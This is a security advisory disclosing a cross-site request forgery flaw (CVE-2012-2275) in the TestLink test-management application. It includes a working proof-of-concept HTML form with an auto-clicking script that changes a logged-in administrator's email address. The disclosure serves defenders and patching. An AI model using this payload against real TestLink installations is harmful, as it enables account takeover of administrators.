High-Tech Bridge Security Research Lab has discovered vulnerabiliy in TestLink, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks.

1. Сross-Site Request Forgery (CSRF) in TestLink: CVE-2012-2275
   The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator’s email.
   An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
   The following PoC will change administrator’s email:
   <form action=“http://[host]/lib/usermanagement/userInfo.php” method=“post” name=“main” id=“main”>
   <input type=“hidden” name=“doAction” value=“editUser”>
   <input type=“hidden” name=“lastName” value=“LastName”>
   <input type=“hidden” name=“firstName” value=“FirstName”>
   <input type=“hidden” name=“emailAddress” value="[email protected]">
   <input type=“submit” id=“btn”>
   </form>
   <script>
   document.getElementById(‘btn’).click();
   </script>
